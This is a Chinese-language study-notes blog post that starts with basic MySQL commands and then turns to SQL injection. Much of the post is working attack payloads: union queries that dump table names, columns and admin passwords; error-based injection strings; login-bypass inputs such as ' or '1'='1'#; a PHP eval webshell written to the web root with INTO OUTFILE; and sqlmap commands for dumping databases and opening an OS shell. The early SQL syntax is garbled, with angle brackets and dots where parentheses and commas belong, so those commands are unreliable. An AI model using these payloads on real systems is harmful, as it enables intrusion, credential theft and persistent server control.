mysql漏洞认识

linux上安装mysql

yum -y install httpd php php-mysql mysql mysql-server

查看数据库

show datebases;

用哪个库就是用use datebases的内容

use dou;

然后查dou的表

show tables;

查某个表

select * from dou_admin;

查看某个表的固定几列

select user_name.password from dou_admin

创建数据库

create database 名字;

使用数据库

use 名字 (可以先用show satabases;查看数据库,再确定名字)

创建表

create table 名字<username char<50>.password char<50>>;

例如:

create table admin<username char<50>.password char<50>>;

(写完名字后后缀为分号,代表语句结束)

然后show tables就会看见一个 admin的表

插入用户

insert into admin <username.password> values <'admin'.'admin'>;

如果要加密

insert into admin <username,password> values <'admin'.md5<'admin'>>;

然后查看就会发现admin加密了

select * from admin;

纠正一个错误,之前的语法的sql所有语句都写错了,是,不是.自己的错误

添加多个用户

insert into admin<username,password> values <'admin',md5<'admin'>>,<'create','123456'>;

更改密码

update admin set password=‘123456’ where username='表的内容的名字的一个';

删除

delete from admin where username='要删除的用户';

删除表

drop table admin

删除库

需要先不适用要删除的库

use 库的名字

drop datebases 库名字

mysql函数

system_user() 系统用户名
user()  用户名
current_user   当前用户名
session_user()  连接数据库的用户名
datebase()  数据库名
version()  mysql数据库版本
load_file()   转成16进制或者10进制mysql读取本地文件的函数
@@datadir 读取数据库路径
@@@basedir   mysql安装路径
@@version_compile_os   操作系统

查看当前系统用户名

select system_user<>;

查看用户

select user<>;

查看当前版本

select version<>;

查看当前数据库

select database<>;

查看文件的信息

select load_file<'c:/123.txt'>;(注意,斜杠是linux的,不是win)

mysql的数据库连接信息

config.php

db_config.php

include/commom.inc.php等查看

如何判断是否存在sql注入

加一个斜杠,或者-0,看是否出现报错

绕过方式

大小写绕过
%00编码绕过

判断注入

and 1=1 返回正常
and 1=2 返回不正常
存在注入点

通过order by 确定列数

然后可以在联合查询前面加and 1=2 报错,看内容的字符信息的数字,或者给id后面的数字加一个负号,然后就可以查询,如果第一个数字不行,就尝试第二个

image-20210620074019811

爆表名

UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema tables where table_schema='xycms'

用group_concat会把表名都爆出来,不用,就会只出现一个

UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_scheme.columns where table_name='manage_user'

爆出列名

然后根据列名确定信息,从而爆出账户、密码

UNION SELECT 1,group_concat(m_name,m_pwd),3,4,5,6,7,8,9,10 from manage_user

也可以用0×5c代替斜杠分开

UNION SELECT 1,group_concat(m_name,0×5c,m_pwd),3,4,5,6,7,8,9,10 from manage_user

mysql4.0渗透

image-20210620080853436

mysql显错注入

判断是否存在注入输入‘

看有无数据库查询错误的语句爆出,出现就爆

爆当前数据库用户
-99999999999' union select 1 from (select count(*),concat(floor(rand(0)* 2),(select user()limit 0,1))a from information_ schema.tables group by a)b#
报当前数据库名称
-99999999999' union select 1 from (select count(*),concat(floor(rand(0)* 2),(select database()limit 0,1))a from information_ schema.tables group by a)b#
报当前版本号
-99999999999' union select 1 from (select count(*),concat(floor(rand(0)* 2),(select version()limit 0,1))a from information_ schema.tables group by a)b#

用sqlmap跑就行了

admin' #不让他检测password的密码了

admin' or '1=1'

不知道用户名 'asdfa' or '1'='1'#有一个为真,就登录成功

mysql读写函数的使用

load_file()函数

该函数是用来读取文件的函数

只能读取绝对路径的网页文件

在使用该函数时应先找到网站的绝对路径

例如:

d:/www/xx/index.php

/usr/src/apache/htdoc/index.php

注意:

路径符号
错误
\正确  win下
/正确  linux下
或者16进制

转换16进制数,都不要’ ‘

获取网站的根目录

image-20210620084508937

写入马

into outfile

<?php eval($_GET[x]);?>

写入网站内容

UNION SELECT 1,"<?php @eval($_GET[x]);?>",3,4,5,6,7,8,9,10 into outfile 'C:/路径'

然后可以通过这个看phpinfo();

使用宽字节引号注入用unmagicquote.py的sqlmap

也可以用16进制来对目录

%bf是url的?

当联合查询查询username,password时候,可以把

UNION SELECT 1,group_concat(username,password),3,4,5,6,7,8,9,10 from manage_user limit 0,1第一行
UNION SELECT 1,group_concat(username,password),3,4,5,6,7,8,9,10 from manage_user limit 1,1第二行

当后面语句还有,会干扰注入,把后面语句注释掉,在最后用--或者#

关于sqlmap的利用

sqlmap.py -u "xxx.xxx.xx?id=" 
sqlmap.py -u "xxx.xxx.xx?id="  --is-dba
返回ture就是dba管理员
sqlmap.py -u "xxx.xxx.xx?id=" --dbs 查看数据库
sqlmap.py -u "xxx.xxx.xx?id=" --current-db
查看自己的数据库
sqlmap.py -u "xxx.xxx.xx?id=" --tables -D current datebases
current datebases是需要输入的
查看当前数据库的表
sqlmap.py -u "xxx.xxx.xx?id=" --colums -T 表名 -D 当前数据库名
sqlmap.py -u "xxx.xxx.xx?id="  --dump -C 列里面的内容的(多个用逗号分隔开) -T 表名 -D 当前数据库的database

因为是root权限,执行系统命令

sqlmap.py -u "xxx.xxx.xx?id="  --os-shell

image-20210620095242118

选择第二个,指定路径

还有执行sql语句的平台

sqlmap.py -u "xxx.xxx.xx?id="  --sql-shell
例子:
查询语句:
select version<>;
读文件:
select load_file<'c:/intput/www/root/index.php'>;
不能写,只能读
别人都在不停的努力,自己又怎么会停
原文地址:https://www.cnblogs.com/chenyouxiu/p/14963703.html